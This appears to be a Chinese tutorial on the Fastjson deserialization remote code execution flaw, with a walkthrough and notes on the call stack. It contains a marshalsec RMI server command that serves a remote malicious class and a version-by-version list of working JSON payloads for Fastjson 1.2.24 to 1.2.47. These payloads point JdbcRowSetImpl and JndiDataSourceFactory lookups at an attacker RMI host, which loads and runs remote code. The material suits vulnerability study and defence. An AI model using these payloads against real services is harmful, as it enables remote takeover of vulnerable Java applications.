FastJson安全漏洞详解:从原理到调用栈分析
FastJson安全漏洞详解:从原理到调用栈分析
Fastjson是阿里巴巴开源的Java库,用于将Java对象转换为JSON字符串,以及将JSON字符串转换为Java对象。这个库的一个关键特性是它的反序列化能力,即将JSON字符串转换回Java对象。
Fastjson介绍
Fastjson引入了AutoType,即在序列化的时候使用@type字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型。当我们要对他进行序列化的时候,fastjson会扫描其中的getter方法,即找到getName和getFruit,这时候就会将name和fruit两个字段的值序列化到JSON字符串中。
这个特性也带来了安全风险,特别是在Fastjson版本1.2.24及之前,存在一个反序列化漏洞,允许攻击者执行远程代码。Fastjson在反序列化时,会读取JSON中的@type字段来确定对象的类型,并调用相应类的setter方法。这个过程中,如果@type被恶意构造,攻击者可以指定任意类库,通过精心构造的JSON字符串,触发恶意行为。
Fastjson<=1.2.24
Fastjson(v1.2.25之前)的AutoType是默认开启的,也没有什么限制。可以利用autoType这个特性,自己构造一个JSON字符串,并且使用@type指定一个自己想要使用的攻击类库。比如利用com.sun.rowset.JdbcRowSetImpl这个类的dataSourceName传入一个rmi的源。
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:port/Exploit","autoCommit":true}
复现方式
首先创建一个远程加载的类:
启动web服务,这样访问http://IP1:3333/MyTest.class就可以访问到class文件。然后我们借助marshalsec启动一个RMI服务器,监听9999端口,并制定加载远程类MyTest.class:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://IP1:3333/#MyTest" 9999
最后传入:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://IP2:9999/Exploit","autoCommit":true}
Fastjson调用栈
Exploit小结:
来源于 https://github.com/shengqi158/fastjson-remote-code-execute-poc
1.2.24
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true}}
未知版本(1.2.24-41之间)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
1.2.41
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true};
1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true]}
1.2.45
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
1.2.47
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}
Fastjson=1.2.24调试
class JSON类
parse(String text)如下class DefaultJSONParser类
当为{时,token=12
token=12,继续parseObject
来到parseObject(Map object, Object fieldName)
这里有一个 JSONLexerBase.scanSymbol,作用是找一对“”之间的内容
第一对“”里就是“@value”,判断key = @type继续走class TypeUtils类
class DefaultJSONParser类
class ParserConfig类
返回之后继续来到class DefaultJSONParser,执行deserializer.deserialze(this, clazz, fieldName);
然后来到class JavaBeanDeserializer继续往下走,来到 class JSONScanner
JavaBeanDeserializer类
FieldDeserializer类
反射调用
后面就是JdbcRowSetImpl正常流程了,见JNDI注入